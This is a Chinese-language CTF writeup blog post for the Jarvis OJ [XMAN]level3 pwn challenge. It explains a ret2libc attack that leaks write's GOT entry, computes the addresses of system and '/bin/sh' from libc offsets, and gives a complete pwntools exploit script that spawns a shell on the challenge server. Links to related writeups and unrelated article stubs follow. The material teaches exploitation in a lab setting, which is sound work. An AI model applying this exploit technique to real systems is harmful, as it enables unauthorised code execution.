这次除了elf程序还附带一个动态链接库

先看一下,很一般的保护

思路分析

在ida中查看,可以确定通过read函数输入buf进行溢出,但是并没有看到合适的目标函数

但是用ida打开附带的链接库,可以看到system函数和“/bin/sh”字符串都存在

于是思路就确定为read函数溢出->system函数,同时加入参数“/bin/sh”

通过libc.so文件可以得到write、system和/bin/sh的偏移,但system和/bin/sh在内存的地址是未知的

函数在内存中地址为func_addr,在libc中偏移为func_libc则有

      sys_addr - sys_libc == write_addr - write_libc

所以我们可以通过泄露write函数的地址,利用函数在内存中的地址和libc文件中的偏移的差相等,获得system的地址

构造下图栈帧,溢出目标为system("/bin/sh"),获取shell

方法论

要利用偏移相等获得system和bin的地址,首先要泄露得到write的真实地址

可以通过打印write在got表中的地址,获取其真实地址

所以首先要输出write_got所对应的地址

所以先构造下图栈帧,先通过溢出write函数打印write_got

再返回到vuln函数再次执行read,实现二次溢出到system,最终获取shell

exp

#!usr/bin/env python
# encoding:utf-8
from pwn import * #io = process("./level3")
io = remote("pwn2.jarvisoj.com",9879)
elf = ELF("./level3") writeplt = elf.plt["write"]    #plt和got都在可执行程序中
writegot = elf.got["write"]
func = elf.symbols["vulnerable_function"] libc = ELF("./libc-2.19.so")
writelibc = libc.symbols["write"]    #libc中可以找到程序中有的/没有的函数的偏移
syslibc = libc.symbols["system"]
binlibc = libc.search("/bin/sh").next() payload1 = 'a' * 0x88 + 'f**k' + p32(writeplt) + p32(func) + p32(1)+p32(writegot)+p32(4) #溢出地址+返回地址+参数 io.recvuntil("Input:\n")
io.sendline(payload1) writeaddr = u32(io.recv(4))    #由于python没有指针,不能*write_got,需要将其输出并保存
sysaddr = writeaddr - writelibc + syslibc    #利用偏移量相等获得其真实地址
binaddr = writeaddr - writelibc + binlibc payload2 = 'a' * 0x88 + 'f**k' + p32(sysaddr) + p32(func) + p32(binaddr)
io.recvuntil("Input:\n")
io.sendline(payload2)
io.interactive()
io.close()

补充

经@M4X学长提醒,本地运行时优先装在本地系统中的libc库,导致实际装载库并非

造成本地地址错误,但是远程没问题

可以首先进行if判断,链接不同的库解决

作者:辣鸡小谱尼


出处:http://www.cnblogs.com/ZHijack/

如有转载,荣幸之至!请随手标明出处;

Jarvis OJ - [XMAN]level3 - Writeup——ret2libc尝试的更多相关文章

  1. Jarvis OJ - [XMAN]level1 - Writeup

    Jarvis OJ - [XMAN]level1 - Writeup M4x原创,转载请表明出处http://www.cnblogs.com/WangAoBo/p/7594173.html 题目: 分 ...

  2. Jarvis OJ - [XMAN]level2 - Writeup

    简单利用"/bin/sh"夺权 简单看一下 放到ida中发现了"/bin/sh"串,和system函数,可以利用== 所以只要在vuln函数返回时跳转到syst ...

  3. Jarvis OJ - [XMAN]level1 - Writeup——简单shellcode利用

    100分的pwn 简单查看一下,果然还是比较简单的 放到ida中查看一下,有明显的溢出函数,并且在函数中打印出了字符串的地址,并且字符串比较长,没有NX保护 所以我们很容易想到构造shellcode, ...

  4. Jarvis OJ - [XMAN]level0 - Writeup

    差不多最简单的pwn了吧,不过本菜鸟还是要发出来镇楼 分析一下,checksec 查看程序的各种保护机制 没有金丝雀,没有pie 执行时输出Hello,World,在进行输入,溢出嘛  开工 丢到id ...

  5. Jarvis OJ - 爬楼梯 -Writeup

    Jarvis OJ - 爬楼梯 -Writeup 本来是想逆一下算法的,后来在学长的指导下发现可以直接修改关键函数,这个题做完有种四两拨千斤的感觉,记录在这里 转载请标明出处:http://www.c ...

  6. jarvis OJ WEB题目writeup

    0x00前言 发现一个很好的ctf平台,题目感觉很有趣,学习了一波并记录一下 https://www.jarvisoj.com 0x01 Port51 题目要求是用51端口去访问该网页,注意下,要用具 ...

  7. Jarvis OJ [XMAN]level1 write up

    首先 老规矩,把软件拖到Ubuntu里checksec一下文件 然后知道了软件位数就放到IDA32里面... 熟悉的函数名... 缘真的妙不可言... 然后看了下vulnerable_function ...

  8. jarvis OJ部分writeup

    [XMAN]level 0 [XMAN]level 1 —— 简单shellcode利用 [XMAN]level 2 [XMAN]level 3 —— ret2libc尝试 [XMAN]level2& ...

  9. Jarvis OJ - 栈系列部分pwn - Writeup

    最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...

随机推荐

  1. rewrite写法

    RewriteRule ^/android-special-(\d+).html$ /special/index.php?c=index&a=specialDetail&speid=$ ...

  2. Phonegap开发相关问题

    环境搭建:参考http://www.phonegapcn.com/start/zh/1.3/#android 调试: 1.在线远程调试 http://debug.phonegap.com/ 通过USB ...

  3. [java语言]——InetAddress类的getByName()方法

    InetAddress---表示互联网协议(IP)地址 ---InetAddress.getByName("www.163.com")----在给定主机名的情况下确定主机的IP地址 ...

  4. React 和 Angular 各有什么优缺点,各自又适合什么开发场景?

    最近正在学习React,便谈一点自己的浅见. Angular.js首先Angular的背后是Google,所以社区基础是不用担心的,整个生态也已经是非常的完整了,从最基本的Tutorial到Stack ...

  5. Nodejs学习笔记(十五)--- Node.js + Koa2 构建网站简单示例

    目录 前言 搭建项目及其它准备工作 创建数据库 创建Koa2项目 安装项目其它需要包 清除冗余文件并重新规划项目目录 配置文件 规划示例路由,并新建相关文件 实现数据访问和业务逻辑相关方法 编写mys ...

  6. JVM命令

    jstack--jstack用于打印出给定的java进程ID或core file或远程调试服务的Java堆栈信息: jinfo--jinfo可以输出并修改运行时的java 进程的opts.用处比较简单 ...

  7. MySQL中Left Join和Right Join的理解

    虽然之前一直见过两个Join,对于其具体的含义也在参考书上读过,但是一直没有记住.现在换一种方式进行学习,改为实验方式理解. Left Join 测试表: 表结构很简单,test包括两个int字段,t ...

  8. 用原型代替PRD时,原型应该包含哪些内容

    随着互联网节奏越来越快,传统的需求文档已经比较难适应市场的脚步,特别对于要求敏捷的团队来说,冗余而细致入微的需求文档已经成为包袱(这么长个文档领导也不会看呀).目前大多数团队更喜爱直接使用原型来代替需 ...

  9. mysql 5.7.13 安装配置方法图文教程(linux) (转)

    http://www.jb51.net/article/87160.htm ************************************************ linux环境Mysql ...

  10. sql 触发器,看完后对CHK有更深的理解

    触发器是一种特殊类型的存储过程,它不同于之前的我们介绍的存储过程.触发器主要是通过事件进行触发被自动调用执行的.而存储过程可以通过存储过程的名称被调用. 什么是触发器? 触发器对表进行插入.更新.删除 ...